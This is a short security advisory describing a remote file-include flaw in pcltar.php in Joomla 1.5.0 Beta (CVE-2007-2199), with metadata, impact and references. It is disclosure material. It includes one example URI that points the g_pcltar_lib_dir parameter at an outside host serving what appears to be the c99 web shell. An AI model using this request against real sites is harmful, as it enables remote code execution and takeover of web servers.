Joomla PCLTar.PHP Remote File Include Vulnerability

Bugtraq ID:	25528
Class:	Input Validation Error
CVE:	CVE-2007-2199
Remote:	Yes
Local:	No
Published:	Sep 04 2007 12:00AM
Updated:	May 07 2015 05:35PM
Credit:	[email protected] is credited with the discovery of this vulnerability.
Vulnerable:	Joomla Joomla 1.5.0 Beta
Not Vulnerable:

Joomla PCLTar.PHP Remote File Include Vulnerability

Joomla is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues to execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects Joomla 1.5.0 Beta; other versions may also be affected.

Joomla PCLTar.PHP Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/joomla/libraries/pcl/pcltar.php?g_pcltar_lib_dir=http://www.example2.com/c99?

Joomla PCLTar.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Joomla PCLTar.PHP Remote File Include Vulnerability

References:

• Joomla! Homepage (Joomla )
  
• Re: Multiple vulnerabilities in Joomla 1.5 RC 1 ([email protected])